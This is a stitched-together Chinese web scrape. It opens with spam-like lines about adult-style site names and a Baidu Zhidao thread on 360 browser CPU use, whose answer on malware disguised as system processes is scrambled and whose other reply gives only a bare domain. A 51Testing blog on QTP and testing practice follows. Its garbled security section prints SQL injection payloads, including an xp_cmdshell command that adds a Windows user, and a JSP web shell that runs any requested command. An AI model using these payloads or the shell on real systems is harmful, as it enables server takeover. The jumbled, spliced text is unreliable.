被谷歌浏览器器wwW229se否定怎么处理,还是当初的229secom那网占嘛

有时候看着网页 就卡死了 360se.exe 显示占用cpu高达90% 这好像是360浏览器的死穴。 请问怎么解决?_百度知道
有时候看着网页 就卡死了 360se.exe 显示占用cpu高达90% 这好像是360浏览器的死穴。 请问怎么解决?
我一般是结束360的进程 然后就顺畅了
我有更好的答案
但是系统中同时运行的进程那么多.exe和iexplore.exe本来就容易搞混,那么就可以判定是病毒了。system32目录).exe进程对应的可执行文件位于“C,就能成功破解病毒的“以假乱真”和“偷梁换柱”了,存在于其他目录则为病毒,除此之外则为病毒。
iexplore.exe”。再双击“Alerter”服务.借尸还魂
除了上文中的两种方法外.exe进程结束,病毒也学聪明了,由cvhost调用相应服务的动态链接库来启动服务。我们可以打开“控制面板”→“管理工具”→服务。对比一下,发现区别了么,总结出来有三法?这是病毒经常使用的伎俩.exe
常被病毒冒充的进程名有:svch0st.exe、schvost.exe、scvhost.exe。随着Windows系统服务不断增多,为了节省系统资源.exe,表面上看无任何可疑情况,查看svchost.exe -k LocalService”,而“Server”服务的可执行文件路径为“C.exe.exe就是我们经常会用到的“资源管理器”。如果在“任务管理器”中将explorer。此外,有时我们会发现没有打开IE浏览器的情况下,l改为i,i改为j.exe进程;svchost.exe进程名很相像.exe -k netsvcs”;InternetExplorer目录中,因此,查看系统中活动的进程成为我们检测病毒木马最直接的方法;svchost,懂得了偷梁换柱这一招。如果一个进程的名字为svchost.exe,和正常的系统进程名分毫不差。那么这个进程是不是就安全了呢,意义却完全不同,另外一个则是由很多服务共享的一个svchost,然后成为自己的进程名,仅仅一字之差、桌面、以及打开的文件都会统统消失,单击“任务管理器”→“文件”→“新建任务”,输入“explorer.exe”后,消失的东西又重新回来了。explorer.exe服务进程?
3,系统中仍然存在clipsrv.以假乱真
系统中的正常进程有.exe的可执行文件路径!巧妙从进程中判断出病毒和木马
任何病毒和木马存在于系统中,都无法彻底和进程脱离关系。通常它们会将系统中正常进程名的o改为0,就是IE浏览器的意思。
iexplorer.exe进程对应的可执行程序位于C;WINNT\”中,并改名为svchost.exe,运行后,我们在“任务管理器”中看到的也是svchost.exe,和正常的系统进程无异。
系统进程解惑
上文中提到了很多系统进程,这些系统进程到底有何作用。explorer.exe
常被病毒冒充的进程名有、explorer.exe、iexplore,那么上面这招就没用了,病毒会被就地正法。如果svchost:iexplorer.exe
常被病毒冒充的进程名有:iexplorer.exe、iexploer。你能辨别出其中哪一个是病毒的进程吗,因此比较容易搞混,其实iexplorer.exe是Microsoft Internet Explorer所产生的进程,也就是我们平时使用的IE浏览器。知道作用后辨认起来应该就比较容易了,iexplorer.exe进程名的开头为“ie”,即使采用了隐藏技术,除非你将该文件夹进行了转移:\Windows”目录.exe进程默认是和系统一起启动的,其对应可执行文件的路径为“C,除非我们借助专业的进程检测工具。2:\WINDOWS\system32&#92.exe:
1,双击其中“ClipBook”服务,在其属性面板中可以发现对应的可执行文件路径为“C,也还是能够从进程中找到蛛丝马迹.exe:1,如果在“C.exe,交由WINDOWS&#92。又或者多一个字母或少一个字母,例如explorer.exe就更加混乱了:svchost:\WINDOWS\system32&#92。我们知道svchost。正是通过这种调用,可以省下不少系统资源、expiorer.exe、explore.exe。explorer,可能你发现过系统中存在这样的进程:svch0st.exe、explore.exe、iexplorer.exe、winlogin,否则要想发现隐藏在其中的病毒是很困难的,将病毒运行所需的dll文件插入正常的系统进程中,一个是RPCSS(RemoteProcedureCall)服务进程,这要分两种情况,一般就忽略了,病毒的进程就逃过了一劫。
2.偷梁换柱
如果用户比较心细,如果病毒将自身复制到“C:\而在WindowsXP中,则一般有4个以上的svchost,使用一些进程管理工具,例如Windows优化大师的进程管理功能,那么包括任务栏.exe进程.病毒假冒iexplore.exe进程名,它们把可执行程序指向scvhost、winlogon.exe等?非也,其实它只是利用了“任务管理器”无法查看进程对应可执行文件这一缺陷.exe进程来启动。而系统服务是以动态链接库(DLL)形式实现的,哪些是正常的系统进程,哪些是木马的进程,病毒还有一招终极大法——借尸还魂。所谓的借尸还魂就是病毒采用了进程插入技术,再出现个iexplorer,可以发现其可执行文件路径为“C:\WINDOWS\system32&#92:\ProgramFiles&#92。于是乎?下面我们将对这些系统进程进行逐一讲解,相信在熟知这些系统进程后:\WINDOWS\system32”目录下(Windows2000则是C:&#92,因此系统中出现多个svchost.exe,其实只是系统的服务而已。
在Windows2000系统中一般存在2个svchost.exeiexplorer.exe进程和上文中的explorer。如果用户不仔细,而经常被病毒木马假冒的系统进程在系统中又扮演着什么角色呢?请看本文.exe进程的作用就是让我们管理计算机中的资源。
explorer。
病毒进程隐藏三法
当我们确认系统中存在病毒,但是通过“任务管理器”查看系统中的进程时又找不出异样的进程,这说明病毒采用了一些隐藏措施:\WINDOWS\system32”目录外一定有毒,其运行原理又是什么.exe进程的数量多于5个,就要小心了,很可能是病毒假冒的,检测方法也很简单,微软把很多服务做成共享方式.exe干坏事。因此出现这种情况还是赶快用杀毒软件进行查杀吧。
rundll32.exe
常被病毒冒充的进程名有:rundl132.exe、rundl32.exe。rundll32.exe在系统中的作用是执行DLL文件中的内部函数,系统中存在多少个Rundll32.exe进程,就表示Rundll32.exe启动了多少个的DLL文件。其实rundll32.exe我们是会经常用到的,他可以控制系统中的一些dll文件,举个例子,在“命令提示符”中输入“rundll32.exe user32.dll,LockWorkStation”,回车后,系统就会快速切换到登录界面了。rundll32.exe的路径为“C:\Windows\system32”,在别的目录则可以判定是病毒。
spoolsv.exe
常被病毒冒充的进程名有:spoo1sv.exe、spolsv.exe。spoolsv.exe是系统服务“Print Spooler”所对应的可执行程序,其作用是管理所有本地和网络打印队列及控制所有打印工作。如果此服务被停用,计算机上的打印将不可用,同时spoolsv.exe进程也会从计算机上消失。如果你不存在打印机设备,那么就把这项服务关闭吧,可以节省系统资源。停止并关闭服务后,如果系统中还存在spoolsv.exe进程,这就一定是病毒伪装的了。
限于篇幅,关于常见进程的介绍就到这里,我们平时在检查进程的时候如果发现有可疑,只要根据两点来判断:
1.仔细检查进程的文件名;
2.检查其路径。
通过这两点,一般的病毒进程肯定会露出马脚。
找个管理进程的好帮手
系统内置的“任务管理器”功能太弱,肯定不适合查杀病毒。因此我们可以使用专业的进程管理工具,例如Procexp。Procexp可以区分系统进程和一般进程,并且以不同的颜色进行区分,让假冒系统进程的病毒进程无处可藏。
运行Procexp后,进程会被分为两大块,“System Idle Process”下属的进程属于系统进程,
explorer.exe”下属的进程属于一般进程。我们介绍过的系统进程svchost.exe、winlogon.exe等都隶属于“System Idle Process”,如果你在“explorer.exe”中发现了svchost.exe,那么不用说,肯定是病毒冒充的。.病毒偷偷在后台通过iexplore!看看下面,可以参考一下,实质上系统进程已经被病毒控制了,目的就是迷惑用户的眼睛
采纳率:16%
一定要用360浏览器的话,彻底卸载,重装下
卸载,重装,或者换个浏览器。
现在的浏览器占的资源是越来越大了。
其他1条回答
为您推荐:
其他类似问题
换一换
回答问题,赢新手礼包
个人、企业类
违法有害信息,请在下方选择后提交
色情、暴力
我们会通过消息、邮箱等方式尽快将举报结果通知您。被浏览器se94se否定怎么处理,还是当初的wwWse94seCoM那网占嘛_百度知道
被浏览器se94se否定怎么处理,还是当初的wwWse94seCoM那网占嘛
我有更好的答案
路口 xe7.8g7.tech 左走
为您推荐:
其他类似问题
换一换
回答问题,赢新手礼包
个人、企业类
违法有害信息,请在下方选择后提交
色情、暴力
我们会通过消息、邮箱等方式尽快将举报结果通知您。1qazse4 日志 - BrinkSoul - 51Testing软件测试网 51Testing软件测试网-中国软件测试人的精神家园
将&测试&进行到底!~!
I am working on QTP 9.5 and Ie 6.0.Browser("micclass:=Browser","creation time:= 1").Back is not working for me.I have seen other posts on this issue and tired other workarouunds also.I unistalled QTP and reistalled it. but still not able to get this issue solved. Any other suggestions please?
Here is a workaround. Call the following method from your scrīptCode:
Public Sub bBack(gBrowser)
Set bWin = Window("hwnd:="&gBrowser.GetROProperty("hwnd"))
bWin.click 0,300
Set WshShell = CreateObject("Wscrīpt.Shell")
WshShell.AppActivate "Windows Internet Explorer" wait(1) WshShell.SendKeys "{BACKSPACE}"
Set WshShell = nothing Set bWin = nothing End SubSecond:Ren, I am using IE 6.0 and QTP 9.5. I did run the following test which worked:Browser("micclass:=Browser").Navigate("http://www.yahoo.com")Browser("micclass:=Browser").backThis returned it to the original page. Is is possible that you are using the "creationtime" incorrectly? If you have one browser open creationtime should be "creationtime:=0" and not "1" as you have it in your scrīpt. Hope this helps. (Statement: This Post come from sqaforums.com)
2Microsoft AccessXP_CMDSHELL
WebSQLHTTP
URLURLURL1
&&&& aSQLXP_CMDSHELL
1ASPselect
sSQLQuery = “ select * from tblusers “ & _ “Where username=’ “ & sUsername & _ “ ‘and Password=’ “ & sPassword & “ ‘ ”
adminpassword
Select * from tbluser& where& username=’ admin’ and password=’password’
Select * from tbluser& where username=’ ’ ’ and& password=’ ’
2and password=SQLSQLMSSql Server--adminadmin’ --
Select * from tbluser where& username=’admin’ --’ and password=’password’
adminpassword
3’ or 1=1 --
Select * from tbluser& where username=’ ’ or 1=1 -- ’and password=’password’
&& passwordtest’ group by(password);-- tblusername
&& nametest’ group by(name);-- lastloggedintest’ group by(lastloggedin);-- nameUnion Select
&& test’ Union select name,password,lastlo--
&& SQLCOMPUTE SUM
Test’ compute Sum(name);--
&& Test’; insert into tbluser(name, password, lastloggedin) values(‘root’, ‘123456’,’ ’);--
&& SQLMS SQL SERVER
MS SQL SERVERmaster .. xp_cmdshell SQL SERVERWindows shell()master .. xp_cmdshell ' lukesecret
&& ’;exec master .. xp_cmdshell ‘net user luke secret/add ‘;--
Select * from tbluser where username=’ ’;exec master .. xp_cmdshell ‘net user luke secret /add’-- and password=’secret’
‘;exec master .. xp_cmdshell ‘dir c:\&c:\Inetpub\wwwroot\dir_listing.txt
WebScarabprice10WebScarabWebprice101
Windows WebSphereURL.jsp.JSP
MacOS XWebHFS+WebPHPmod_perlJSP
WindowsWebSphere.jsp.JSPWebSphereWindows
ApacheOS XMacintosh AppleHFSHFS+(data fork)resource fork
MacOsx 10.2open(2)/..namefork/data /..namefork rsrc/._Fork/data/._Fork/rsrcPHP /..namefork/data
(ASP/PHP/bat)
&& WebWebWebJSPWebexecute.jsp
&% String cmd=request.getParameter(“cmd”);
&& Out,println(“your command: ”+cmd+ “”);
Process p=Runtime.getRuntime().exec(cmd)
Java.io.InputStream is = p.getInputStream();
Java.io InputStream eis = p.getErrorStream();
Out.println(“Results:\n”);
While((c=is.read())!=-1)
& Out.print((char) c);
Out.println(“\n”);
Out.println(“Errors:\n”);
While((c=eis.read())!=-1)
& Out.print((char) c);
Out.println(“\n”);%&
.bak.backup~.orig.tmp.temp.log.old#filename#
WWVVVIEEE std(V&V)
80% 的软件缺陷常常生存在软件 20% 的空间里。这个原则告诉我们,如果你想使软件测试有效地话,记住常常光临其高危多发 “ 地段 ” 。在那里发现软件缺陷的可能性会大的多。这一原则对于软件测试人员提高测试效率及缺陷发现率有着重大的意义。聪明的测试人员会根据这个原则很快找出较多的缺陷而愚蠢的测试人员却仍在漫无目的地到处搜寻。
80-20 原则的另外一种情况是,我们在系统分析、系统设计、系统实现阶段的复审,测试工作中能够发现和避免 80% 的软件缺陷,此后的系统测试能够帮助我们找出剩余缺陷中的 80% ,最后的 5% 的软件缺陷可能只有在系统交付使用后用户经过大范围、长时间使用后才会曝露出来。因为软件测试只能够保证尽可能多地发现软件缺陷,却无法保证能够发现所有的软件缺陷。
80-20 原则还能反映到软件测试的自动化方面上来,实践证明 80% 的软件缺陷可以借助人工测试而发现, 20% 的软件缺陷可以借助自动化测试能够得以发现。由于这二者间具有交叉的部分,因此尚有 5% 左右的软件缺陷需要通过其他方式进行发现和修正。
为效益而测试
为什么我们要实施软件测试,是为了提高项目的质量效益最终以提高项目的总体效益。为此我们不难得出我们在实施软件测试应该掌握的度。软件测试应该在软件测试成本和软件质量效益两者间找到一个平衡点。这个平衡点就是我们在实施软件测试时应该遵守的度。单方面的追求都必然损害软件测试存在的价值和意义。一般说来,在软件测试中我们应该尽量地保持软件测试简单性,切勿将软件测试过度复杂化,拿物理学家爱因斯坦的话说就是: Keep it simple but not too simple 。
缺陷的必然性
软件测试中,由于错误的关联性,并不是所有的软件缺陷都能够得以修复。某些软件缺陷虽然能够得以修复但在修复的过程中我们会难免引入新的软件缺陷。很多软件缺陷之间是相互矛盾的,一个矛盾的消失必然会引发另外一个矛盾的产生。比如我们在解决通用性的缺陷后往往会带来执行效率上的缺陷。更何况在缺陷的修复过程中,我们常常还会受时间、成本等方面的限制因此无法有效、完整地修复所有的软件缺陷。因此评估软件缺陷的重要度、影响范围,选择一个折中的方案或是从非软件的因素(比如提升硬件性能)考虑软件缺陷成为我们在面对软件缺陷时一个必须直面的事实。
软件测试必须有预期结果
没有预期结果的测试是不可理喻的。软件缺陷是经过对比而得出来的。这正如没有标准无法进行度量一样。如果我们事先不知道或是无法肯定预期的结果,我们必然无法了解测试正确性。这很容易然人感觉如盲人摸象一般,不少测试人员常常凭借自身的感觉去评判软件缺陷的发生,其结果往往是把似是而非的东西作为正确的结果来判断,因此常常出现误测的现象。
软件测试的意义 - 事后分析 (个人觉得这一点非常重要)
软件测试的目的单单是发现缺陷这么简单吗?如果是 “ 是 ” 的话,我敢保证,类似的软件缺陷在下一次新项目的软件测试中还会发生。古语说得好, “ 不知道历史的人必然会重蹈覆辙 ” 。没有对软件测试结果进行认真的分析,我们就无法了解缺陷发生的原因和应对措施,结果是我们不得不耗费的大量的人力和物力来再次查找软件缺陷。很可惜,目前大多测试团队都没有意识到这一点,测试报告中缺乏测试结果分析这一环节。
软件测试是一个需要 “ 自觉 ” 的过程,作为一个测试人员,遇事沉着,把持尺度,从根本上应对软件测试有着正确的认识,希望本文对读者对软件测试的认识有所帮助
基于 IBM Rational Robot 的自动化功能测试框架
:TD:TD8.0sp2
TD8.0SP1,SQL SERVER 2000, OS2003 SERVER
1.(site administrator)td servers,smtp,ip(192.168.10.1),td;
2.(site administrator)users,,,;
3.(site administrator)projects,, send defect emails automatically ,;
4.(site administrator)site config,mail_interval0,,,,;
5.(customize), ,,;
6.chang user properties,adminemail,email,admin,email;
7.set up users,,;
8.configure mail,,,.,.;
9.configure mail,,,,,,liucfix,fix,liuc;
10.set traceability notification,.,configure mail.
1.,,,ok(,);
3.,admin,;
5.,,,,,();
6.,,,,,,,,,,.
td,,,,,.,,,,,,,,.,,.
1.datatable
&&&&&&& 本身程序就给我们提供了这么一个数据表,我们可以把数据或填入这个数据表中.
如:设计用例
   username  passwd
case1  mercury mercury
case2 xxxxxxx xxxxxx
For i=1 to Datatable.GetRowCount Dialog("Login").WinEdit("Agent Name:").Set DataTable("username", dtGlobalSheet)Dialog("Login").WinEdit("Password:").Set DataTable("passwd", dtGlobalSheet)Dialog("Login").WinButton("OK").Clickdatatable.GlobalSheet.SetNextRow Next
&&&&&&& 本例是验证一个登录系统,通过DataTable不同的用例设计,驱动起这段脚本,达到测试的效果.当然上面的例子中还少一个很重要的步骤,那就是结果比较.如果不能进行结果比较的不能够称为自动化测试.&&&&&&& 当然我们这里主要讲的是数据驱动,所以不在对上面的例子进行补充.
2.文本文件
&&&&&&& 我们可以把文本文件当成数据文件,通过对文本文件的读写操作,来实现数据驱动.
例:文本文件内的内容
  mercury,mercuy
读文件的代码
Function writeorderno(orderno)Dim fso, myfile,username,passwdSet fso=CreateObject("scrīpting.FileSystemObject")Set myfile=fso.openTextFile("C:\testing.txt",1,false)tmp=split(myfile.readline,",")username=tmp(0)passwd=tmp(1)myfile.closeEnd Function
写文本文件的代码
Function writeorderno(orderno)Dim fso, myfileSet fso=CreateObject("scrīpting.FileSystemObject")Set myfile=fso.openTextFile("C:\result1.txt",8,false)myfile.writeline ordernomyfile.closeEnd Function
3.EXCEL文件
&&&&&&& 我们可以把EXCEL文件当成数据文件,通过对EXCEL文件的读写操作,来实现数据驱动.
&&&&&&& 可以把EXCEL文件当作对象的方式来完成写的操作
Dim Excel,ExcelSheetSet Excel=CreateObject("Excel.Application")Set ExcelSheet=CreateObject("Excel.Sheet")ExcelSheet.Application.visible=trueExcelSheet.ActiveSheet.Cells(1,1).value=1ExcelSheet.ActiveSheet.Cells(1,2).value=2ExcelSheet.ActiveSheet.Cells(1,3).value=3Excel.Save "C:\test.xls"Set ExcelSheet=Nothing
&&&&&&& 用ADO的方式连接EXCEL文件来做读的操作
Dim conn,input,filenamefilename="D:\公基本情况(tb_gsgk)-标准格式.xls" 'Set conn= createobject("ADODB.Connection")conn.Open "Provider=Microsoft.Jet.OLEDB.4.0;Persist Security Info=FData Source="&filename&";Extended Properties='Excel 8.0;hdr=yes'"Set input= createobject("ADODB.Recordset")input.Open "select * from [公基本情况-标准格式$] " ,conn,2,2 input.closeSet input=nothing
4.数据库
&&&&&&& 可以利用设计数据表,把测试数据和测试用例放在数据表里,用ADO或者任何可以访问连接数据库的方式连接数据库,来实现数据驱动
   Dim res,cmd,sqlSet Res=createobject("adodb.recordset")Set Cmd=createobject("adodb.command")Cmd.activeconnection="Provider=SQLOLEDB.1;Password=111111;Persist Security Info=TUser ID=Initial Catalog=Data Source=192.168.191.142"  '这句话是连接数据库的数据源,要做修改Cmd.CommandType = 1="selec t * from 表 where name=username"Cmd.CommandText = sqlSet res = Cmd.Execute()Set res = nothingSet cmd.ActiveConnection = nothingSet Cmd= nothing
以上四种方法都可以帮助我们实现数据驱动,应该说数据驱动在自动化测试中运用的比较的广泛,才有必要拿出来探讨一下.
WIN2000WINXP
序列号&函数名&函数作用 第一参&第二参&第三参&第四参&第五参&返回值1&QTP_Small()& 让QTP运行时保持最小化&&&&&&2&QTP_Big()& '恢复QTP窗口&&&&&&3&"QTP_WriteFile(pathway,words)"& '写文件函数(追加) 文件路径 写入内容&&&&4&"Function QTP_WriteFile_Change(pathway,words)"&'写文件函数(改写)& 文件路径& 写入内容&&&&5&"QTP_Read_Excel(pathway,sheetname,x,y)"&'读Excel文件元素& 文件路径 工作表名& 行值&列值&&6&"QTP_Write_Excel(pathway,sheetname,x,y,content)" '写Excel文件元素并保存退出 文件路径 工作表名 行值 列值&写入内容&7&"QTP_Msgbox(Value,waitTime,Title)"&定时停留弹出框函数& 弹出值 弹出框停留时间 弹出框标题&&&8&"QTP_Change_Color(pathway,sheetname,x,y,color)"&'改变Excel的单元格颜色&文件路径 工作表名 行值& 列值& 颜色(只接受red和green)&9&QTP_Capture(pathway)&'捕获当前屏幕(截图) 保存图片路径1&Function CreateExcel()&生成Excel对象和默认新工作表& Excel对象2&Sub CloseExcel(ExcelApp) 关闭指定的Excel& Excel对象&&&&&3&"Function SaveWorkbook(ExcelApp, workbookIdentifier, path)" 保存工作表&Excel对象 工作表名 Excel文件路径& 1成功,0失败4&"Sub SetCellValue(excelSheet, row, column, value)"&给Excel元素赋值&工作表名 行 列 值&&5&"Function GetCellValue(excelSheet, row, column)"&获得指定元素值&工作表名 行 列 值,0未找到元素6&"Function GetSheet(ExcelApp, sheetIdentifier)&&&&&&&& 返回工作表& 工作表7&"Function InsertNewWorksheet(ExcelApp, workbookIdentifier, sheetName)"&插入一个新的工作表 Excel对象 工作表名 新工作表名 新工作表对象8&Function CreateNewWorkbook(ExcelApp)&建立一个新表&Excel对象&&&&&9&"Function OpenWorkbook(ExcelApp, path)"&打开一个之前保存过的工作表 Excel对象 路径&&&&10&"Sub ActivateWorkbook(ExcelApp, workbookIdentifier)"&激活工作表& Excel对象 工作表名&&&&11&"Sub CloseWorkbook(ExcelApp, workbookIdentifier)"&关闭工作表& Excel对象&工作表名&&&&12&"Function CompareSheets(sheet1, sheet2, startColumn, numberOfColumns, startRow, numberOfRows, trimed)"&比较工作表 1工作表一2工作表二 3起始列 4列数&5起始行 6行数&默认参数& true一致& false不一致
QTP与Robot通用函数:序列号&函数名&函数作用& 第一参 第二参&第三参&第四参&返回值1&Get_Data()&获取当前日期&&&&&2&Get_Time()&获取当前时间&&&&&3&"Get_RandNum(fromNum,toNum)"&随机函数生成 起始生成值&结束生成值 随机数4&"Swap(byref a,byref b)"&值交换函数 交换参数1 交换参数2&(引用调用)5&IsPrimeNumber(num)&是否是质数函数&'是质数返回true,否则返回false6&"ReadLine(pathway, rowcount)"&读指定文本文件指定行内容 文件路径& 行数& "返回指定行内容,""文本越界"",""文件不存在"""7&Function MakeString(inputlength) 随机生成字符串&字符串长度& 随机字符串8&Sub ZYGLQ()&启动资源管理器&&&&&9&Sub Run()&启动运行&&&&&10&"SendMail(SendTo, Subject, Body, Attachment)"&调用outlook发送电子邮件&收件人&主题 邮件内容 附件&11&"Function NoRepeat(Inp,Sp)"&去掉字符串中的重复项&输入字符串& 字符串分隔符& 无重复的字符串12&Function GetLen(Str)&求字符串长度(中文算2个西文字符) 输入字符串&&&&13&Sub RunApp(command)&运行指定程序& 运行程序名&&&&14&Function Nextday(ByVal inputday)& 求下一天是几号的函数&原始日期& 原始日期后一天的日期15&Function ISLeapYear(ByVal inYear)&判断是否闰年 年份 true:是闰年& false:非闰年16&"Function Days(SourceData, DesData)"&计算两个日期之间相隔几天& 初时日期& 目的日期& 相隔天数17&Function Identification(Text1)&检查身份证号是否正确&身份证号& 正确:true& 错误:false18&"Access_GetCount(DBlocation,TableName,Value)"&查询Access数据库字符出现次数& 数据库存放位置& 表名& 查询的值& 返回值出现的次数19&Function checkString (myString)&检查是否存在数字& 输入字符串& true:存在数字 false:不存在数字20&"Function BubbleSort(VString,Spl,Func)"&按ASCII码值冒泡排序& 待排序的字符串& 分隔符& 排序方式:1降序,2升序 排序完的序列
1.阶段评审与同行评审的区别?参考答案:&&& 同行评审目的:发现小规模工作产品的错误,只要是找错误;&&& 阶段评审目的:评审模块 阶段作品的正确性 可行性 及完整性&&& 同行评审人数:3-7人 人员必须经过同行评审会议的培训,由SQA指导&&& 阶段评审人数:5人左右 评审人必须是专家 具有系统评审资格&&& 同行评审内容:内容小 一般文档 &&&40页, 代码 & 500行&&& 阶段评审内容: 内容多,主要看重点&&& 同行评审时间:一小部分工作产品完成&&&&阶段评审时间: 通常是设置在关键路径的时间点上
2.什么是软件测试及其目的?参考答案:&&&软件测试是使用人工或自动化手段来运行或测定某个系统的过程.其目的是:在于检验它是否能满足规定的需求或是弄清楚预期结果与实际结果之间的差别.3.简述集成测试的过程?参考答案:&&& 集成测试流程:& &&&在完成软件的概要设计后,即开始制定集成测试计划-》设计集成测试用例和测试过程-》实施集成测试,设计所需驱动和桩-》执行集成测试,记录测试结果-》评估集成测试,根据测试结果评估此次测试,生成评估报告文档。(驱动或桩函数是做单元测试时要用到的.驱动函数是所测4函数的主程序,它接收测试数据,并把数据传送给所测试单元,最后再输出实测结果.当被测单元能完成相关功能时,也可以不要驱动单元.桩,是用来代替所测试单元调用的子单元.)4.白盒测试有那几种方法:代码审查,语句覆盖,判定覆盖,条件覆盖,组合覆盖,基本路径,形式化方法,符号执行5.简述测试目标有哪些类型?参考答案:&&& 功能测试,负载测试,性能测试,安全性测试,恢复测试,安装测试,兼容性测试,可用性测试,可靠性测试,国际化测试,本地化测试.6.怎么样做好文档测试?参考答案:&&& 文档的测试主要采用静态测试即走查的方法,可以依据的是同行评审,列出一个检查表,然后大家一起坐下来对着被测试的文档进行阅读排错。通常文档都很长,而一般的建议是一次同行评审步的时间不能超过两个小时,因此可以对被测试文档执行测试时,列个计划,将总的文档分解,按照计划多次对被测试的文档进行走查。7.测试结束的标准是什么?参考答案:从项目周期看:1、超出了所分配的测试时间;2、用尽了分配的测试资源;3、到达了某一个固定的里程碑(如合同规定的交付日期)。从测试角度看:1、测试需求覆盖率;2、测试代码覆盖率;3、测试用例度量;4、缺陷检查度量8.Alpha 测试与Beta测试的区别?参考答案:&&& Alpha测试是由一个用户在开发环境下进行的测试,也可以是公司内部的用户在模拟实际操作环境下进行的受控测试,Alpha测试不能由程序员或测试员完成。Alpha测试发现的错误,可以在测试现场立刻反馈给开发人员,由开发人员及时分析和处理。目的是评价软件产品的功能、可使用性、可靠性、性能和支持。尤其注重产品的界面和特色。Alpha测试可以从软件产品编码结束之后开始,或在模块(子系统)测试完成后开始,也可以在确认测试过程中产品达到一定的稳定和可靠程度之后再开始。有关的手册(草稿)等应该在Alpha测试前准备好。Beta测试是软件的多个用户在一个或多个用户的实际使用环境下进行的测试。开发者通常不在测试现场,Beta测试不能由程序员或测试员完成。因而,Beta测试是在开发者无法控制的环境下进行的软件现场应用。在Beta测试中,由用户记下遇到的所有问题,包括真实的以及主管认定的,定期向开发者报告,开发者在综合用户的报告后,做出修改,最后将软件产品交付给全体用户使用。Beta测试着重于产品的支持性,包括文档、客户培训和支持产品的生产能力。只有当Alpha测试达到一定的可靠程度后,才能开始Beta测试。由于Beta测试的主要目标是测试可支持性,所以Beta测试应该尽可能由主持产品发行的人员来管理。
9.系统测试计划是否需要同行审批,为什么参考答案:需要,系统测试计划属于项目阶段性关键文档,因此需要评审。10.比较负载测试,容量测试和强度测试的区别?参考答案:负载测试:在一定的工作负荷下,系统的负荷及响应时间。强度测试:在一定的负荷条件下,在较长时间跨度内的系统连续运行给系统性能所造成的影响。容量测试:容量测试目的是通过测试预先分析出反映软件系统应用特征的某项指标的极限值(如最大并发用户数、数据库记录数等),系统在其极限值状态下没有出现任何软件故障或还能保持主要功能正常运行。容量测试还将确定测试对象在给定时间内能够持续处理的最大负载或工作量。容量测试的目的是使系统承受超额的数据容量来发现它是否能够正确处理。容量测试是面向数据的,并且它的目的是显示系统可以处理目标内确定的数据容量。
Software Testing Release Life Cycle
Software Testing Life Cycle consist of six (generic) phases: 1) Planning, 2) Analysis, 3) Design, 4) Construction, 5) Testing Cycles, 6) Final Testing and Implementation and 7) Post Implementation.
1.Planning ( Product Definition Phase)
1.1.High Level Test Plan, (includes multiple test cycles)
1.2.Quality Assurance Plan (Quality goals, Beta criteria, etc ..)
1.3.Identify when reviews will be held.
1.4.Problem Reporting Procedures
1.5.Identify Problem Classification.
1.6.Identify Acceptance Criteria - for QA and Users.
1.7.Identify application testing databases
1.8.Identify measurement criteria, i.e. defect quantities/severity level and defect origin (to name a few).
1.9.Identify metrics for the project
1.10.Begin overall testing project schedule (time, resources etc.)
1.11.Requisite: Review Product Definition Document
QA input to document as part of the Process Improvement Project
Help determine scope issues based on Features of the Product
5 - 10 hours / month approximately
1.12.Plan to manage all test cases in a database, both manual or automated.
2.Analysis ( External Document Phase)
2.1.Develop Functional validation matrix based on Business Requirements.
2.2.Develop Test Case format - time estimates and priority assignments.
2.3.Develop Test Cycles matrices and time lines
2.4.Begin writing Test Cases based on Functional Validation matrix
2.5.Map baseline data to test cases to business requirements
2.6.Identify test cases to automate.
2.7.Automation team begin to setup variable files and high level scrīpts in AutoTester.
2.8.Setup TRACK and AutoAdviser for tracking components of automated system.
2.9.Define area for Stress and Performance testing.
2.10.Begin development of Baseline Database as per test case data requirements.
2.11.Define procedures for Baseline Data maintenance, i.e. backup, restore, validate.
2.12.Begin planning the number of test cycles required for the project, and Regression Testing.
2.13.Begin review of documentation, i.e. Functional Design, Business Requirements, Product Specifications, Product Externals etc..
2.14.Review test environments and lab, both Front End and Back End.
2.15.Prepare for using McCabe tool to support development in white box testing and code complexity analysis.
2.16.Setup Requite and start inputting documents.
2.17.Requisite: Review Externals Document
QA input to document as part of the Process Improvement Project
Start to write test cases from Action Response Pair Groups
Start to develop metrics based on estimated number of test cases, time to execute each case and if it is “automatable” .
Define baseline data for each test case
25 hours / month approximately
3.Design (Architecture Document Phase)
3.1.Revise Test Plan based on changes.
3.2.Revise Test Cycle matrices and timelines
3.3.Verify that Test Plan and cases are in a database or Requisite.
3.4.Revise Functional Matrix
3.5.Continual to write out test cases and add new ones based on changes.
3.6.Develop Risk Assessment Criteria
3.7.Formalize details for automated testing and multi-user testing.
3.8.Select set of test cases to automate and begin scrīpting them.
3.9.Formalize detail for Stress and Performance testing
3.10.Finalize test cycles. (number of test case per cycle based on time estimates per test case and priority.)
3.11.Finalize the Test Plan
3.12.(Estimate resources to support development in unit testing)
3.13.Requisite: Review Architecture Document
QA input to document as part of the Process Improvement Project
Actual components or modules that development will code.
Unit testing standard defined here, pass/fail criteria, etc.
Unit testing reports, what they will look like,& for both white and black box testing including input/outputs and all decision points.
List of modules that will be unit tested.&
4.Construction (Unit Testing Phase)
4.1.Complete all plans
4.2.Complete Test Cycle matrices and timelines
4.3.Complete all test cases. (manual)
4.4.Complete AutoTester scrīpting of first set of automated test cases.
4.5.Complete plans for Stress and Performance testing
4.6.Begin Stress and Performance testing
4.7.McCabe tool support - supply metrics
4.8.Test the automated testing system and fix bugs.
4.9.(Support development in unit testing)
4.10.Run QA Acceptance test suite to certify software is ready to turn over to QA.
5.Test Cycle(s) / Bug Fixes (Re-Testing/System Testing Phase)
5.1.Test Cycle 1, run first set of test cases (front and back end)
5.2.Report bugs
5.3.Bug Verification - ongoing activity
5.4.Revise test cases as required
5.5.Add test cases as required
5.6.Test Cycle II
5.7.Test Cycle III
6.Final Testing and Implementation (Code Freeze Phase)
6.1.Execution of all front end test cases - manual and automated.
6.2.Execution of all back end test cases - manual and automated.
6.3.Execute all Stress and Performance tests.
6.4.Provide on-going defect tracking metrics.
6.5.Provide on-going complexity and design metrics.
6.6.Update estimates for test cases and test plans.
6.7.Document test cycles, regression testing,& and update accordingly.
7.Post Implementation
7.1.Post implementation evaluation meeting to review entire project. (lessons learned)
7.2.Prepare final Defect Report and associated metrics.
7.3.Identify strategies to prevent similar problems in future project.
7.4.Create plan with goals and milestone how to improve processes.
7.5.McCabe tools - produce final reports and analysis.
7.6.Automation team - 1) Review test cases to evaluate other cases to be automated for regression testing, 2) Clean up automated test cases and variables, and 3) Review process of integrating results from automated testing in with results from manual testing.
